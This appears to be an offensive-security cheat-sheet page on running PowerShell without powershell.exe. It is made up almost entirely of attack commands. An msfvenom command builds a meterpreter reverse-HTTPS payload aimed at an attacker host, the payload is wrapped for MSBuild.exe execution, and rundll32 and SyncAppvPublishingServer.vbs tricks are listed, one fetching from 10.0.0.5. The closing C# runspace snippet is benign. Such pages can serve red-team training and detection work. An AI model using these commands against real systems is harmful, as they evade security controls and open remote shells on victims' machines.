Powershell Without Powershell.exe
Theory
Practice
#Generate a malisious powershell script
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
#Generate a .csproj with PowerLessShell
v4resk@kali$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
#Execute it on the target with MSBuild.exe
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csprojC:\Users\v4resk> rundll32 NoPowerShell.dll,mainC:\Users\v4resk> rundll32.exe PowerShdll.dll,mainC:\Users\v4resk> SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class Program
{
static void Main()
{
string command = "Write-Output 'Hello from PowerShell'";
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = runspace;
ps.AddScript(command);
foreach (var result in ps.Invoke())
{
Console.WriteLine(result);
}
}
}
}
}Resources
Last updated